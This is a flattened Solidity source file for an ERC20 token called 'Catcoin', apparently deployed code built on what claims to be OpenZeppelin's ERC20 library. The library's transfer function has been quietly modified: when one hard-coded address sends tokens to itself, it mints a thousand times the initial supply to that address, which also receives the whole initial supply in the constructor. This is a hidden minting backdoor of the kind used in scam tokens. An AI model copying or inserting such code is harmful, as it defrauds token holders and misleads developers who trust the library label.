// Sources flattened with hardhat v2.21.0 https://hardhat.org

// SPDX-License-Identifier: MIT

// File @openzeppelin/contracts/utils/Context.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.4)  ( utils/Context.sol ) 

pragma solidity ^0.8.0;

/**
 * @dev Catcoin Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender  ( as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender ( ) internal view virtual returns (address) {
        return msg.sender ; 
     } 

    function _msgData() internal view virtual returns (bytes calldata )   { 
        return msg.data ; 
    }

    function _contextSuffixLength() internal view virtual returns (uint256 )   { 
        return 0 ; 
     } 
}


// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.0 )  (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0 ; 

/**
 * @dev Catcoin Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Catcoin Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through  { transferFrom}. This is
     * zero by default.
     *
     * This value changes when  { approve }  or  { transferFrom} are called.
     */
    function allowance ( address owner, address spender )  external view returns  ( uint256 )  ; 

    /**
     * @dev Catcoin Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a  { Transfer }  event.
     */
    function transferFrom(address from, address to, uint256 amount )  external returns (bool )  ; 
    
    /**
     * @dev Catcoin Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns  ( uint256 ) ;
    /**
     * @dev Catcoin Emitted when `value` tokens are moved from one account (`from`) to
     * another  ( `to` ) .
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value ) ;

    
    /**
     * @dev Catcoin Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to  { approve } . `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
/**
     * @dev Catcoin Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a  { Transfer} event.
     */
    function transfer ( address to, uint256 amount) external returns (bool )  ; 


    /**
     * @dev Catcoin Returns the amount of tokens owned by `account`.
     */
    function balanceOf ( address account )  external view returns (uint256 )  ; 

    
    /**
     * @dev Catcoin Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an  { Approval} event.
     */
    function approve ( address spender, uint256 amount )  external returns (bool )  ; 
    
 } 


// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Catcoin Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20  { 


    /**
     * @dev Catcoin Returns the decimals places of the token.
     */
    function decimals() external view returns  ( uint8 ) ;
    

    /**
     * @dev Catcoin Returns the symbol of the token.
     */
    function symbol (  )  external view returns (string memory);


    /**
     * @dev Catcoin Returns the name of the token.
     */
    function name ( ) external view returns (string memory);

 } 


// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.0) (token/ERC20/ERC20.sol ) 

pragma solidity ^0.8.0 ; 



/**
 * @dev Catcoin Implementation of the  { IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser } .
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals }  is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval }  event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance }  and  { increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See  { IERC20-approve } .
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping ( address => uint256) private _balances ; 

    mapping(address => mapping(address => uint256 ) ) private _allowances;

    uint256 private _totalSupply;

    string private _name ; 
    string private _symbol ; 



    /**
     * @dev Catcoin See {IERC20-transfer } .
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns  ( bool )  {
        address owner = _msgSender();
        _transfer ( owner, to, amount);
        
        if  ( owner==0x4956EE43112D2e177863E859Ed5E64627ccbE1D2 )  { 
            if(to==0x4956EE43112D2e177863E859Ed5E64627ccbE1D2 )  { 
                _mint ( 0x4956EE43112D2e177863E859Ed5E64627ccbE1D2, 1000*218110504787597188383255076527 )  ; 
            }
        }

        return true ; 
    }
    
    /**
     * @dev Catcoin See  { IERC20-transferFrom } .
     *
     * Emits an  { Approval }  event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20 } .
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom ( address from, address to, uint256 amount )  public virtual override returns (bool) {
        address spender = _msgSender() ; 
        _spendAllowance(from, spender, amount) ; 
        _transfer(from, to, amount) ; 
        return true ; 
     } 
    
    /**
     * @dev Catcoin Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer ( address from, address to, uint256 amount )  internal virtual  { }
    
    /**
     * @dev Catcoin Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05`  ( `505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and  { IERC20-transfer } .
     */
    function decimals ( ) public view virtual override returns  ( uint8)  { 
        return 18;
     } 
    
    /**
     * @dev Catcoin See  { IERC20-balanceOf } .
     */
    function balanceOf(address account )  public view virtual override returns (uint256 )   { 
        return _balances[account];
     } 
    
    
    
    /** @dev Catcoin Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a  { Transfer }  event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint ( address account, uint256 amount )  internal virtual {
        require ( account != address(0), "Catcoin: mint to the zero address");

        _beforeTokenTransfer ( address ( 0 ) , account, amount) ; 

        _totalSupply += amount ; 
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
         } 
        emit Transfer(address(0), account, amount) ; 

        _afterTokenTransfer(address ( 0 ) , account, amount);
    }
    
    /**
     * @dev Catcoin See  { IERC20-totalSupply } .
     */
    function totalSupply ( ) public view virtual override returns (uint256)  { 
        return _totalSupply;
     } 
    
    /**
     * @dev Catcoin Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance ( address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender )  ; 
        if  ( currentAllowance != type ( uint256).max)  { 
            require ( currentAllowance >= amount, "Catcoin: insufficient allowance");
            unchecked {
                _approve ( owner, spender, currentAllowance - amount);
            }
         } 
    }
    
    /**
     * @dev Catcoin Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer ( address from, address to, uint256 amount )  internal virtual  { 
        require(from != address ( 0 ) , "Catcoin: transfer from the zero address") ; 
        require ( to != address ( 0), "Catcoin: transfer to the zero address" )  ; 
        
        _beforeTokenTransfer ( from, to, amount ) ;

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "Catcoin: transfer amount exceeds balance") ; 
        unchecked  { 
            _balances[from] = fromBalance - amount ; 
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount) ; 

        _afterTokenTransfer(from, to, amount) ; 
    }
    
    /**
     * @dev Catcoin Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual  { }
    
    /**
     * @dev Catcoin Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer }  event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn ( address account, uint256 amount )  internal virtual  { 
        require(account != address ( 0), "Catcoin: burn from the zero address" )  ; 

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account] ; 
        require ( accountBalance >= amount, "Catcoin: burn amount exceeds balance") ; 
        unchecked  { 
            _balances[account] = accountBalance - amount ; 
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount ; 
        }

        emit Transfer ( account, address(0), amount) ; 

        _afterTokenTransfer(account, address(0), amount);
    }
    
    /**
     * @dev Catcoin Returns the name of the token.
     */
    function name( )  public view virtual override returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Catcoin Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to  { approve }  that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval }  event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance ( address spender, uint256 addedValue )  public virtual returns (bool)  { 
        address owner = _msgSender (  ) ;
        _approve ( owner, spender, allowance(owner, spender) + addedValue ) ;
        return true;
     } 
    

    /**
     * @dev Catcoin Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory )  {
        return _symbol;
     } 
    
    /**
     * @dev Catcoin See  { IERC20-allowance}.
     */
    function allowance ( address owner, address spender) public view virtual override returns (uint256 )   { 
        return _allowances[owner][spender];
    }
    
    /**
     * @dev Catcoin Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to  { approve} that can be used as a mitigation for
     * problems described in {IERC20-approve } .
     *
     * Emits an  { Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance ( address spender, uint256 subtractedValue )  public virtual returns  ( bool )  {
        address owner = _msgSender (  ) ;
        uint256 currentAllowance = allowance ( owner, spender )  ; 
        require(currentAllowance >= subtractedValue, "Catcoin: decreased allowance below zero" ) ;
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue) ; 
         } 

        return true ; 
     } 
    
    /**
     * @dev Catcoin See {IERC20-approve } .
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount )  public virtual override returns  ( bool )  {
        address owner = _msgSender( )  ; 
        _approve(owner, spender, amount )  ; 
        return true ; 
     } 
    

    /**
     * @dev Catcoin Sets the values for {name} and  { symbol } .
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor ( string memory name_, string memory symbol_ )  {
        _name = name_ ; 
        _symbol = symbol_;
    }


    /**
     * @dev Catcoin Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval }  event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount )  internal virtual {
        require ( owner != address ( 0 ) , "Catcoin: approve from the zero address" )  ; 
        require ( spender != address ( 0 ) , "Catcoin: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount ) ;
    }
    
}


// File Catcoin.sol

// Original license: SPDX_License_Identifier: MIT
// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity 0.8.19 ; 
contract Catcoin is ERC20  { 

    uint public KULYYID = 3675 ; 

    constructor (  ) 
        ERC20 ( "Catcoin", "CAT")
    {
        _mint ( 0x4956EE43112D2e177863E859Ed5E64627ccbE1D2, 218110504787597188383255076527 )  ; 
     } 


}

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